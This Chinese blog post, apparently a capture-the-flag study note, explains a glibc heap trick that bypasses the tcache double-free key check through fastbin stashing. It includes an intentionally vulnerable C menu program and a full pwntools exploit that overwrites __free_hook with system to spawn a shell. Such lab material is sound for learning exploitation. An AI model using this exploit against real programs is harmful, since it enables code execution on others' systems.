当前位置: 首页 > news >正文

【我的 PWN 学习手札】fastbin reverse into tcache —— tcache key 绕过

目录

前言

一、tcache reverse into tcache

二、测试与模板 


前言

之前提到过,较高版本的 glibc,设置了 key 对 tcachebin 内的 double free 进行了检查。 除了前面几篇手札罗列的绕过方法,今天又遇到一个,特此记录。之前利用 fastbin 来进行绕过,参见

【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客

而此次总结的,也是利用 tcache stash 的机制。


一、tcache reverse into tcache

话不多说,进入主题。首先申请释放14个chunk

 然后申请一个,让 tcachebin 空出一个位置

接着利用 double free,再次释放 chunk8。注意,因为 tcachebin 中没有 chunk8,所以可以通过 key 对 tcache double free 的检查。

构成上图 double free 的状态。然后申请8个chunk,触发 tcache stash

注意,我们申请出来的合法的 chunk8,也正被链在 tcachebin 上。因此只需要以合法的方式修改 chunk8 即可打 tcache poisoning。

二、测试与模板 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache reverse into fastbin
for i in range(14):add(i,0x60)
for i in range(14):delete(i)
pause()
add(0,0x60)
delete(7)
pause()
add(0,0x60)
for i in range(8):add(1,0x60)
pause()
edit(0,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x60)
add(0,0x60)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()

http://www.mrgr.cn/news/34735.html

相关文章:

  • AI 写作(九)实战项目二:智能新闻报道(9/10)
  • 实现金蝶云与MySQL的无缝数据集成
  • MTU-内核态(数据链路层或网络接口上能够传输的最大数据包大小)
  • 写论文好痛苦
  • WebAPI性能监控-MiniProfiler与Swagger集成
  • qt中ctrl+鼠标左键无法进入
  • 使用GLib进行C语言编程的实例
  • typename、非类型模板参数、模板参数的特化、模板类成员函数声明和定义分离、继承等的介绍
  • LED显示屏驱动电源:恒流与恒压,谁更胜一筹?
  • 在uboot中添加自定义命令
  • Robot Operating System——带有时间戳和坐标系信息的多边形信息
  • ubuntu内网穿透后在公网使用ssh登录
  • could not broadcast input array from shape
  • 盘点那些功能强大的思维导图在线工具,你用过几个
  • 图数据库之TigerGraph
  • R语言 基础笔记 2
  • 【CSS in Depth 2 精译_038】6.2 CSS 定位技术之:绝对定位
  • util-linux 和 dosfstools 开发 ,fdisk mkfs工具移植
  • 【C++ 11多线程加速计算实操教程】
  • New major version of npm available! 8.3.1 -> 10.8.3 报错
  • 分布式环境中,接口超时重试带来的的幂等问题如何解决?
  • Centos7 部署rocketmq
  • 【二等奖论文】2024年华为杯研赛D题成品论文(后续会更新)
  • GNU链接器(LD):输入分区和输出分区介绍
  • MobaXterm基本使用 -- 服务器状态、批量操作、显示/切换中文字体、修复zsh按键失灵
  • 设计原则模式概览